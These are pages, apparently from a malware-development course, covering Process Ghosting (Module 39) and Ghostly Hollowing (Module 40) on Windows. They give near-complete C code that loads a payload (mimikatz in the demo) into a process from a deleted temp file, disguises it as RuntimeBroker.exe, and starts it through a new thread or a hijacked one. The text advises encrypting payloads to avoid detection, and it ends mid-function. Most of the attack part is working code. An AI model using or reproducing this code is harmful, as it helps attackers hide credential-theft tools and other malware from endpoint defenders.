You are on page 1of 5

Module 39 Ghost Process Injection

Ghost Process Injection

Introduction
Throughout the course, several PE injection methods were discussed such as RunPE (local injection) and Process Hollowing (remote injection).

This module will cover another remote PE injection method that's referred to as Ghost Process Injection or Process Ghosting. In Process Ghosting, the process's executable image is
deleted before the process is launched, leading the process to appear without a name when viewed in Process Hacker.

Process Ghosting Implementation Steps


The steps to perform Process Ghosting are shown below. Each step will then be discussed in depth throughout this module.

1. Fetch a PE payload. This module simplifies the fetching of the PE payload and simply reads it from disk. In an ideal situation, you should encrypt the payload and store it in the
resource section.
2. Create an empty file on the disk. In this module, we will create a .tmp file in the $env:TMP directory. This file will be overwritten with the PE payload at a later step.
3. Create a ghost section from the temporary file. A ghost section is created by calling NtCreateSection to create a section from the delete-pending .tmp file, closing the file handle,
and deleting the file from the disk.
4. Create a process from the ghost section created by calling the NtCreateProcessEx syscall.
5. Write the process parameters and the environment block manually to the created process.
6. Fetch the PE payload's entry point and execute it via a new thread creation.

The image below illustrates the aforementioned steps. It also shows which steps occur in memory and on disk.

Step 1 - PE Payload Fetching


The first step will be to read the PE payload, which in this case will be the mimikatz.exe binary, from the disk using the ReadPayloadFile function shown below. ReadPayloadFile
accepts the following parameters.

szFileName The path to the mimikatz.exe binary on the disk.


ppFileBuffer A pointer to a PBYTE variable that will receive the base address of the read file.
pdwFileSize A pointer to a DWORD variable that will receive the size of the read file.

#define ALLOC(SIZE) LocalAlloc(LPTR, (SIZE_T)SIZE)


#define FREE(BUFF) LocalFree((LPVOID)BUFF)
#define REALLOC(BUFF, SIZE) LocalReAlloc(BUFF, SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT)

BOOL ReadPayloadFile(IN LPWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize) {

HANDLE hFile = INVALID_HANDLE_VALUE;


PBYTE pTmpReadBuffer = NULL;
DWORD dwFileSize = NULL,
dwNumberOfBytesRead = NULL;

if (!szFileName || !pdwFileSize || !ppFileBuffer)


return FALSE;

if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {


PRNT_WN_ERR(TEXT("CreateFileW"));
return FALSE;
}

if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {


PRNT_WN_ERR(TEXT("GetFileSize"));
goto _FUNC_CLEANUP;
}

if (!(pTmpReadBuffer = ALLOC(dwFileSize))) {
PRNT_WN_ERR(TEXT("LocalAlloc"));
goto _FUNC_CLEANUP;
}

if (!ReadFile(hFile, pTmpReadBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {


PRNT_WN_ERR(TEXT("ReadFile"));
goto _FUNC_CLEANUP;
}

*ppFileBuffer = pTmpReadBuffer;
*pdwFileSize = dwFileSize;

_FUNC_CLEANUP:
DELETE_HANDLE(hFile);
if (pTmpReadBuffer && !*ppFileBuffer)
FREE(pTmpReadBuffer);
return *ppFileBuffer == NULL ? FALSE : TRUE;
}

Step 2 - Creating A Temporary File


Creating the temporary file will be done via the following WinAPIs:

GetTempPathW Retrieves the path of the temporary directory.


GetTempFileNameW Creates an empty temporary file.

Since the generated temporary file will eventually be passed to NtOpenFile in the next steps, the file's path should be in NT path format. The standard path format is converted to an
NT format using the wsprintf function. The following snippet shows how to call the GetTempPathW and GetTempFileNameW WinAPIs to generate a temporary file.

WCHAR szTmpPath[MAX_PATH] = { 0x00 };


WCHAR szTmpFileName[MAX_PATH] = { 0x00 };
WCHAR szTmpFilePath[MAX_PATH * 2] = { 0x00 };

// Get Temp Dir Path


if (GetTempPathW(MAX_PATH, szTmpPath) == 0x00) {
PRNT_WN_ERR(TEXT("GetTempPathW"));
return -1;
}

// Create A Temp File (Named szTmpFileName)


if (GetTempFileNameW(szTmpPath, L"PG", 0x00, szTmpFileName) == 0x00) {
PRNT_WN_ERR(TEXT("GetTempFileNameW"));
return -1;
}

// Convert To NT path format


wsprintf(szTmpFilePath, L"\\??\\%s", szTmpFileName);

Step 3 - Create A Ghost Section


In this step, we will create the ghost section from the .tmp file. Before proceeding, it's necessary to retrieve the addresses of the syscalls called across the implementation. This will be
done at the start of the main function by populating the user-defined NT_API_FP structure as shown in the snippet below.

typedef struct _NT_API_FP


{
fnNtOpenFile pNtOpenFile;
fnNtSetInformationFile pNtSetInformationFile;
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnNtWriteFile pNtWriteFile;
fnNtCreateSection pNtCreateSection;
fnRtlCreateProcessParametersEx pRtlCreateProcessParametersEx;
fnNtCreateProcessEx pNtCreateProcessEx;
fnNtQueryInformationProcess pNtQueryInformationProcess;
fnNtCreateThreadEx pNtCreateThreadEx;
fnNtReadVirtualMemory pNtReadVirtualMemory;

} NT_API_FP, * PNT_API_FP;

NT_API_FP g_NtApi = { 0x00 };

int main() {

HMODULE hNtdll = NULL;

if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
return -1;

g_NtApi.pNtSetInformationFile = (fnNtSetInformationFile)GetProcAddress(hNtdll, "NtSetInformationFile");


g_NtApi.pNtOpenFile = (fnNtOpenFile)GetProcAddress(hNtdll, "NtOpenFile");
g_NtApi.pNtWriteFile = (fnNtWriteFile)GetProcAddress(hNtdll, "NtWriteFile");
g_NtApi.pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
g_NtApi.pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
g_NtApi.pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
g_NtApi.pRtlCreateProcessParametersEx = (fnRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
g_NtApi.pNtCreateProcessEx = (fnNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
g_NtApi.pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
g_NtApi.pNtReadVirtualMemory = (fnNtReadVirtualMemory)GetProcAddress(hNtdll, "NtReadVirtualMemory");
g_NtApi.pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

if (!g_NtApi.pNtSetInformationFile || !g_NtApi.pNtOpenFile || !g_NtApi.pNtWriteFile || !g_NtApi.pNtCreateProcessEx ||


!g_NtApi.pRtlCreateProcessParametersEx ||
!g_NtApi.pNtQueryInformationProcess || !g_NtApi.pNtCreateSection || !g_NtApi.pNtCreateThreadEx || !g_NtApi.pNtReadVirtualMemory ||
!g_NtApi.pNtAllocateVirtualMemory ||
!g_NtApi.pNtWriteVirtualMemory)
{
return -1;
}

// ...

CreateGhostSection Function
The following steps must be followed in order to create a ghost section from the .tmp file.

Fetch handle with delete permission to the created .tmp file. This step is done using the NtOpenFile syscall.
Change file handle information to delete on close. This step is done using the NtSetInformationFile syscall.
Overwrite the .tmp file content with the PE payload.
Create a section handle from the .tmp file handle. This step is done using the NtCreateSection syscall.
Close the file handle, deleting the .tmp file.

The CreateGhostSection function will perform all of the aforementioned steps. The function has the following parameters:

szFileName The path to the created temporary file in the NT path format.
pFileBuffer The base address of the PE payload.
dwFileSize The size of the PE payload file.
phGhostSection A pointer to a HANDLE variable that will receive the ghost section handle.

After invoking CreateGhostSection , a section handle will be created for the deleted temporary file containing the PE payload.

BOOL CreateGhostSection(IN LPWSTR szFileName, IN PVOID pFileBuffer, IN DWORD dwFileSize, OUT HANDLE* phGhostSection) {

HANDLE hFileHandle = INVALID_HANDLE_VALUE,


hSection = NULL;
NTSTATUS STATUS = STATUS_SUCCESS;
UNICODE_STRING uFileName = { 0x00 };
OBJECT_ATTRIBUTES ObjectAttr = { 0x00 };
IO_STATUS_BLOCK StatusBlock = { 0x00 };
FILE_DISPOSITION_INFORMATION FileDispInfo = { .DeleteFileW = TRUE };
LARGE_INTEGER ByteOffset = { 0x00 };

if (!szFileName || !pFileBuffer || !dwFileSize || !phGhostSection)


return FALSE;

RtlInitUnicodeString(&uFileName, szFileName);
InitializeObjectAttributes(&ObjectAttr, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

if (!NT_SUCCESS((STATUS = g_NtApi.pNtOpenFile(&hFileHandle, (DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE), &ObjectAttr, &StatusBlock,


FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT)))) {
PRNT_NT_ERR(TEXT("NtOpenFile"), STATUS);
goto _FUNC_CLEANUP;
}

if (!NT_SUCCESS((STATUS = g_NtApi.pNtSetInformationFile(hFileHandle, &StatusBlock, &FileDispInfo, sizeof(FILE_DISPOSITION_INFORMATION),


FileDispositionInformation)))) {
PRNT_NT_ERR(TEXT("NtSetInformationFile"), STATUS);
goto _FUNC_CLEANUP;
}

if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteFile(hFileHandle, NULL, NULL, NULL, &StatusBlock, pFileBuffer, dwFileSize, &ByteOffset, NULL)))) {
PRNT_NT_ERR(TEXT("NtWriteFile"), STATUS);
goto _FUNC_CLEANUP;
}

if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0x00, PAGE_READONLY, SEC_IMAGE, hFileHandle)))) {


PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
goto _FUNC_CLEANUP;
}

*phGhostSection = hSection;

_FUNC_CLEANUP:
DELETE_HANDLE(hFileHandle);
if (!*phGhostSection) {
DELETE_HANDLE(hSection);
}
return *phGhostSection ? TRUE : FALSE;
}

Step 4 - Creating The Ghost Process


The ghost process will be created using the NtCreateProcessEx syscall. NtCreateProcessEx can create a process out of a section handle instead of providing a typical executable
image path. The CreateGhostProcess function accepts the following parameters:

szLegitPeFile A path to a legitimate Windows executable image. This image will not be executed but instead, it will be used to fill up the process's executable image path in the
command line of the ghost process. This parameter can include command-line arguments to the PE payload (e.g. L"C:\\Windows\\system32\\RuntimeBroker.exe coffee" ).
hGhostSection A handle to the ghost section. This parameter is fetched after calling the CreateGhostSection function.
pPayloadPeBuffer A pointer to the PE payload. This is required to fetch the PE's entry point RVA.

The code snippet below is the first part of the CreateGhostProcess function which creates the ghost process.

BOOL CreateGhostProcess(IN LPWSTR szLegitPeFile, IN HANDLE hGhostSection, IN PBYTE pPayloadPeBuffer) {

BOOL bResult = FALSE;


NTSTATUS STATUS = STATUS_SUCCESS;
HANDLE hProcess = NULL,
hThread = NULL;
PVOID pImageBase = NULL,
pEntryPnt = NULL;
DWORD dwEntryPntRVA = 0x00;

if (!szLegitPeFile || !hGhostSection || !pPayloadPeBuffer )


return FALSE;

if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hGhostSection, NULL,


NULL, FALSE)))) {
PRNT_NT_ERR(TEXT("NtCreateProcessEx"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[i] Ghost Process PID: %d \n", GetProcessId(hProcess));

// ...

Step 5 - Initializing Ghost Process Parameters


Currently, the created ghost process is missing essential components, specifically the command line and user environment variables. These components are required for a process to
start and therefore we are required to write these values at their correct addresses in the remote process.

From a programmatical perspective, the ghost process is missing the PRTL_USER_PROCESS_PARAMETERS ProcessParameters element in the PEB structure. The following elements must
be initialized in the RTL_USER_PROCESS_PARAMETERS structure before writing it into the ghost process:

CommandLine The command line arguments of the process.


CurrentDirectory The current directory path of where the process's executable was executed.
ImagePathName The process's executable image path.
Environment The environment variables of the current user.

These elements can be initialized by calling the RtlCreateProcessParametersEx NtAPI, which accepts the values of the aforementioned elements. The value of the Environment
element can be retrieved by calling the CreateEnvironmentBlock WinAPI, whereas the rest of the required elements will be fetched manually.

Writing the ProcessParameters Element


Because the Environment element of the RTL_USER_PROCESS_PARAMETERS structure is an address to the environment variables, ProcessParameters->Environment can be located either
above the PEB.ProcessParameters address or below it. This forces us to write the Environment element in a separate write operation from the rest of the PEB.ProcessParameters
element, at a different address.

Since ProcessParameters->Environment can be located either above the PEB.ProcessParameters address or below it, one of the following scenarios may occur:

The InitializeProcessParms Function


The InitializeProcessParms function shown below, is used to write both the current user's environment variables and the PEB.ProcessParameters structure.
InitializeProcessParms checks which address is first, and then proceeds to write the required data at the right address. Finally, InitializeProcessParms updates the address of the
ProcessParameters element in the PEB structure of the remote process using a final call to the NtWriteVirtualMemory syscall.

Another role of the InitializeProcessParms function is to retrieve the address of the mapped PE payload image inside the remote process. This address is required to calculate the
entry point of the PE payload and is fetched by reading the PEB structure using the NtQueryInformationProcess and NtReadVirtualMemory syscalls.

The InitializeProcessParms function accepts the following parameters:

hProcess A handle to the created ghost process. This is retrieved by calling NtCreateProcessEx .
szTargetProcess The path to a legitimate Windows executable image. This is the same as the szLegitPeFile parameter in the CreateGhostProcess function.
ppImageBase A pointer to a PVOID variable that will receive the address of the mapped PE payload image.

BOOL InitializeProcessParms(IN HANDLE hProcess, IN LPWSTR szTargetProcess, OUT PVOID* ppImageBase) {

NTSTATUS STATUS = STATUS_SUCCESS;


UNICODE_STRING UsCommandLine = { 0x00 },
UsNtImagePath = { 0x00 },
UsCurrentDirectory = { 0x00 };
PRTL_USER_PROCESS_PARAMETERS pUserProcParms = { 0x00 };
PVOID pEnvironment = NULL;
PWCHAR pwcDuplicateStr = NULL,
pwcDuplicateStr2 = NULL,
pwcExe = NULL,
pwcLastSlash = NULL;
PEB Peb = { 0x00 };
PROCESS_BASIC_INFORMATION ProcInfo = { 0x00 };
ULONG_PTR uUserEnvAndParmsBaseAddress = NULL,
uUserEnvAndParmsEndAddress = NULL;
SIZE_T sUserEnvAndParmsSize = NULL,
sNumberOfBytesWritten = NULL;
PVOID pTmpPntrAddress = NULL;

/*
* szTargetProcess - L"C:\\Windows\\system32\\RuntimeBroker.exe coffee" (UNICODE_STRING UsCommandLine)
* pwcDuplicateStr - L"C:\\Windows\\system32" (UNICODE_STRING UsCurrentDirectory)
* pwcDuplicateStr2 - L"C:\\Windows\\system32\\RuntimeBroker.exe" (UNICODE_STRING UsNtImagePath)
*/

if (!(pwcDuplicateStr = _wcsdup(szTargetProcess)))
return FALSE;

if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))


*pwcLastSlash = L'\0';

if (!(pwcDuplicateStr2 = _wcsdup(szTargetProcess)))
return FALSE;

if (pwcExe = wcsstr(pwcDuplicateStr2, L".exe"))


*(pwcExe + sizeof(".exe")) = L'\0';

// Retrieves the environment variables


if (!CreateEnvironmentBlock(&pEnvironment, NULL, TRUE)) {
PRNT_WN_ERR(TEXT("CreateEnvironmentBlock"));
return FALSE;
}

RtlInitUnicodeString(&UsCommandLine, szTargetProcess);
RtlInitUnicodeString(&UsCurrentDirectory, pwcDuplicateStr);
RtlInitUnicodeString(&UsNtImagePath, pwcDuplicateStr2);

if (!NT_SUCCESS((STATUS = g_NtApi.pRtlCreateProcessParametersEx(&pUserProcParms, &UsNtImagePath, NULL, &UsCurrentDirectory, &UsCommandLine, pEnvironment,


NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)))) {
PRNT_NT_ERR(TEXT("RtlCreateProcessParametersEx"), STATUS);
return FALSE;
}

// Fetch Remote PEB


if (!NT_SUCCESS((STATUS = g_NtApi.pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL)))) {
PRNT_NT_ERR(TEXT("NtQueryInformationProcess"), STATUS);
return FALSE;
}

// Read PEB
if (!NT_SUCCESS((STATUS = g_NtApi.pNtReadVirtualMemory(hProcess, ProcInfo.PebBaseAddress, &Peb, sizeof(PEB), NULL)))) {
PRNT_NT_ERR(TEXT("NtReadVirtualMemory"), STATUS);
return FALSE;
}

printf("[+] Ghost Process PEB: 0x%p \n", ProcInfo.PebBaseAddress);


printf("[+] Ghost Process Image: 0x%p \n", (*ppImageBase = Peb.ImageBase));

uUserEnvAndParmsBaseAddress = pUserProcParms;
uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms + pUserProcParms->Length;

if (pUserProcParms->Environment) {

// Adjust start address (Scenario 2)


if ((ULONG_PTR)pUserProcParms > (ULONG_PTR)pUserProcParms->Environment)
uUserEnvAndParmsBaseAddress = (PVOID)pUserProcParms->Environment;

// Adjust end address (Scenario 2)


if ((ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize > uUserEnvAndParmsEndAddress)
uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize;
}

// Calculate size
sUserEnvAndParmsSize = uUserEnvAndParmsEndAddress - uUserEnvAndParmsBaseAddress;

// Set a tmp var


pTmpPntrAddress = pUserProcParms;

if (!NT_SUCCESS((STATUS = g_NtApi.pNtAllocateVirtualMemory(hProcess, &pTmpPntrAddress, 0x00, &sUserEnvAndParmsSize, MEM_COMMIT | MEM_RESERVE,


PAGE_READWRITE)))) {
PRNT_NT_ERR(TEXT("NtAllocateVirtualMemory"), STATUS);
return FALSE;
}

// Write 'Peb.ProcessParameters'
if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, pUserProcParms, pUserProcParms, pUserProcParms->Length, &sNumberOfBytesWritten)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [1]"), STATUS);
return FALSE;
}

if (pUserProcParms->Environment) {

// Write 'Peb.ProcessParameters->Environment'
if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, (LPVOID)(pUserProcParms->Environment), (LPVOID)pUserProcParms->Environment,
pUserProcParms->EnvironmentSize, &sNumberOfBytesWritten)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [2]"), STATUS);
printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, pUserProcParms->EnvironmentSize);
return FALSE;
}
}

// Update the address of the 'ProcessParameters' element in remote process to point to the new location
if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, &ProcInfo.PebBaseAddress->ProcessParameters, &pUserProcParms, sizeof(PVOID),
&sNumberOfBytesWritten)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [3]"), STATUS);
printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, sizeof(PVOID));
return FALSE;
}

return TRUE;
}

Step 6 - Executing The PE payload's Entry Point


After calling InitializeProcessParms , and retrieving the entry point's RVA. It's possible to calculate the address of the payload's entry point and follow that with a call to the
NtCreateThreadEx syscall that executes the entry point in the ghost process. Retrieving the entry point's RVA is done by calling the FetchEntryPntOffset function shown below. The
FetchEntryPntOffset function accepts one parameter, pFileBuffer , an address to the read PE payload file.

DWORD FetchEntryPntOffset(IN PBYTE pFileBuffer) {

PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);


if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return 0x00;

return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}

The Complete CreateGhostProcess Function


Since step 4 only showed part of the CreateGhostProcess function, the complete function is shown below.

BOOL CreateGhostProcess(IN LPWSTR szLegitPeFile, IN HANDLE hGhostSection, IN PBYTE pPayloadPeBuffer) {

BOOL bResult = FALSE;


NTSTATUS STATUS = STATUS_SUCCESS;
HANDLE hProcess = NULL,
hThread = NULL;
PVOID pImageBase = NULL,
pEntryPnt = NULL;
DWORD dwEntryPntRVA = 0x00;

if (!szLegitPeFile || !hGhostSection || !pPayloadPeBuffer )


return FALSE;

if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hGhostSection, NULL,


NULL, FALSE)))) {
PRNT_NT_ERR(TEXT("NtCreateProcessEx"), STATUS);
goto _FUNC_CLEANUP;
}
printf("[i] Ghost Process PID: %d \n", GetProcessId(hProcess));

printf("[i] Initializing Process Parms ... \n");


if (!InitializeProcessParms(hProcess, szLegitPeFile, &pImageBase) || !pImageBase)
goto _FUNC_CLEANUP;

if (!(dwEntryPntRVA = FetchEntryPntOffset(pPayloadPeBuffer)))
goto _FUNC_CLEANUP;

pEntryPnt = (PVOID)((ULONG_PTR)pImageBase + dwEntryPntRVA);

printf("[+] Ghost Process Entry Point: 0x%p \n", pEntryPnt);

if (!NT_SUCCESS(g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pEntryPnt, NULL, FALSE, 0x00, 0x00, 0x00, NULL))) {
PRNT_NT_ERR(TEXT("NtCreateThreadEx"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[*] Payload PE Executed With Thread Of ID: %d \n", GetThreadId(hThread));

bResult = TRUE;

_FUNC_CLEANUP:
DELETE_HANDLE(hGhostSection);
DELETE_HANDLE(hProcess);
DELETE_HANDLE(hThread);
return bResult;
}

Demo
The images below show the process ghosting technique executing a PE payload ( mimikatz.exe ) in a remote process address space.

The ghost process is created with PID 26560 at address 0x00007FF79DC90000 .

The process of PID 26560 in Process Hacker. The general tab shows the manually written command line of the process.

Process Hacker showing that the image mapped at 0x00007FF79DC90000 is RuntimeBroker.exe , where it should be mimikatz.exe instead.

The mimikatz.exe DOS Header at the 0x00007FF79DC90000 address.


Module 40 Ghostly Hollowing

Ghostly Hollowing

Introduction
Ghostly Hollowing is a hybrid technique between Process Hollowing and Process Ghosting. In Process Ghosting, a ghost section was used to create the remote process using the
NtCreateProcessEx syscall. In Ghostly Hollowing, the created section will be mapped into a normally-created Windows process. This is then followed by patching the
ImageBaseAddress member of the PEB structure. Finally, the PE payload's entry point is executed by hijacking the main thread of the created process.

Before going further, it is advised to go through the Process Hollowing and Ghost Process Injection modules.

Ghostly Hollowing Implementation Steps


The steps to perform Ghostly Hollowing are shown below. Each step will then be discussed in depth throughout this module.

1. Fetch a PE payload. This module simplifies the fetching of the PE payload and simply reads it from disk. In an ideal situation, you should encrypt the payload and store it in the
resource section.
2. Create an empty file on the disk. In this module, we will create a .tmp file in the $env:TMP directory. This file will be overwritten with the PE payload.
3. Create a ghost section from the temporary file. A ghost section is created by calling NtCreateSection to create a section from the delete-pending .tmp file, closing the file handle,
and deleting the file from the disk.
4. Create a remote process using the CreateProcess WinAPI and map the ghost section.
5. Patch the ImageBaseAddress element of the PEB structure to point to the mapped ghost section. And execute the PE payload's entry point via thread hijacking.

The image below illustrates the aforementioned steps. It also shows which steps occur in memory and on disk.

Steps 1-3
Steps 1 to 3 are implemented the same way as mentioned in the Ghost Process Injection module. These steps will not be re-explained again in this module, therefore the reader should
review these steps in the Ghost Process Injection module. For reference, these steps are:

Step 1 PE Payload Fetching: This step explained how to read the PE payload from the disk.
Step 2 Creating A Temporary File: This step explained how to create the .tmp file which will eventually be overwritten with the PE payload.
Step 3 Create A Ghost Section: This step explained how to create the ghost section from the temporary file.

Step 4 - Creating Target Process And Mapping Ghost Section


In this step, we'll be creating a process in a suspended state by calling the CreateProcess WinAPI with the CREATE_SUSPENDED flag. This will be the first part of our custom
CreateGhostHollowingProcess function. CreateGhostHollowingProcess accepts the following parameters:

szLegitPeFile A path to a legitimate Windows executable image that will be used to create the remote target process. This parameter can include command-line arguments to
the PE payload (e.g. L"C:\\Windows\\system32\\RuntimeBroker.exe coffee" ).
hGhostSection A handle of the ghost section created. This parameter is fetched after calling the CreateGhostSection function.
pPayloadPeBuffer A pointer to the PE payload. This is required to fetch the PE's entry point RVA.

The code snippet below shows the first part of the CreateGhostHollowingProcess function that performs the remote process creation and the mapping of the ghost section.

BOOL CreateGhostHollowingProcess(IN LPWSTR szLegitPeImg, IN HANDLE hGhostSection, IN PBYTE pPayloadPeBuffer) {

BOOL bResult = FALSE;


NTSTATUS STATUS = STATUS_SUCCESS;
STARTUPINFOW StartupInfo = { 0x00 };
PROCESS_INFORMATION ProcessInfo = { 0x00 };
SIZE_T sViewSize = NULL;
PVOID pBaseAddress = NULL;
PWCHAR pwcDuplicateStr = NULL,
pwcLastSlash = NULL;
DWORD dwEntryPntRVA = 0x00;

RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));

StartupInfo.cb = sizeof(STARTUPINFOW);

// Extract the process's current directory path


if (!(pwcDuplicateStr = _wcsdup(szLegitPeImg)))
return FALSE;

if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))


*pwcLastSlash = L'\0';

// ----------------------------------------

if (!CreateProcessW(NULL, szLegitPeImg, NULL, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, pwcDuplicateStr, &StartupInfo, &ProcessInfo)) {
PRNT_WN_ERR(TEXT("CreateProcessW"));
goto _FUNC_CLEANUP;
}

printf("[i] Ghost Process Created With ID: %d \n", ProcessInfo.dwProcessId);

// ----------------------------------------

if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hGhostSection, ProcessInfo.hProcess, &pBaseAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL,
PAGE_READONLY)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}

printf("[i] Base Address Of The Mapped Ghost Section: 0x%p \n", pBaseAddress);

// ----------------------------------------

// ...
// ...
// ...

Step 5 - Patching Remote PEB And Thread Hijacking


In the Process Hollowing module, we wrote the PE payload to the remote process's memory and then patched the ImageBaseAddress member of the PEB structure. This is instead of
unmapping the process's legitimate executable image and mapping our PE at the same address. In this module, we will do the same as it is considered a stealthier approach.

Patching the remote process's PEB structure and executing the PE payload's entry point are both done in the same function, HijackRemoteProcessExecution . Since the address to the
remote PEB structure is fetched through the thread's context (recall that the PPEB is located at the RDX register), furthermore, we can set the RCX register value to point to our PE
payload's entry point.

The HijackRemoteProcessExecution function accepts the following parameters:

hProcess A handle to the remote process. This can be provided through the CreateProcessW WinAPI.
hThread A handle to the process's main thread. This can be provided through the CreateProcessW WinAPI.
pRemoteBaseAddress The base address of the mapped section in the remote process. This can be provided through the NtMapViewOfSection WinAPI.
dwEntryPointRVA The RVA to the entry point of the PE payload. This can be provided through the FetchEntryPntOffset function, which was used in the previous module but is
shown below for reference.

DWORD FetchEntryPntOffset(IN PBYTE pFileBuffer) {

PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);


if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return 0x00;

return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}

HijackRemoteProcessExecution Function
The HijackRemoteProcessExecution function is shown below and performs the aforementioned actions.

BOOL HijackRemoteProcessExecution(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pRemoteBaseAddress, IN DWORD dwEntryPointRVA) {

NTSTATUS STATUS = STATUS_SUCCESS;


CONTEXT Context = { .ContextFlags = CONTEXT_ALL };
LPVOID pRemoteImgBase = NULL;

if (!NT_SUCCESS((STATUS = g_NtApi.pNtGetContextThread(hThread, &Context)))) {


PRNT_NT_ERR(TEXT("NtGetContextThread"), STATUS);
return FALSE;
}

Context.Rcx = (DWORD64)((ULONG_PTR)pRemoteBaseAddress + dwEntryPointRVA); // Thread Hijacking


pRemoteImgBase = (LPVOID)(Context.Rdx + offsetof(PEB, ImageBase)); // Process Hollowing - Get the offset to the PEB.ImageBase element [PPEB
is at Context.Rdx]

printf("[*] Entry Point Address: 0x%p \n", Context.Rcx);

if (!NT_SUCCESS((STATUS = g_NtApi.pNtSetContextThread(hThread, &Context)))) {


PRNT_NT_ERR(TEXT("NtSetContextThread"), STATUS);
return FALSE;
}

printf("[i] New Image Base Address: 0x%p \n", pRemoteBaseAddress);

// Write the payload's ImageBase into remote process' PEB:


if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, pRemoteImgBase, &pRemoteBaseAddress, sizeof(ULONGLONG), NULL)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory"), STATUS);
return FALSE;
}

return TRUE;
}

The Complete CreateGhostHollowingProcess Function


The complete CreateGhostHollowingProcess function is shown below which will perform all the steps required for the implementation of Ghostly Hollowing.

BOOL CreateGhostHollowingProcess(IN LPWSTR szLegitPeImg, IN HANDLE hGhostSection, IN PBYTE pPayloadPeBuffer) {

BOOL bResult = FALSE;


NTSTATUS STATUS = STATUS_SUCCESS;
STARTUPINFOW StartupInfo = { 0x00 };
PROCESS_INFORMATION ProcessInfo = { 0x00 };
SIZE_T sViewSize = NULL;
PVOID pBaseAddress = NULL;
PWCHAR pwcDuplicateStr = NULL,
pwcLastSlash = NULL;
DWORD dwEntryPntRVA = 0x00;

RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));

StartupInfo.cb = sizeof(STARTUPINFOW);

if (!(pwcDuplicateStr = _wcsdup(szLegitPeImg)))
return FALSE;

if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))


*pwcLastSlash = L'\0';

// ----------------------------------------

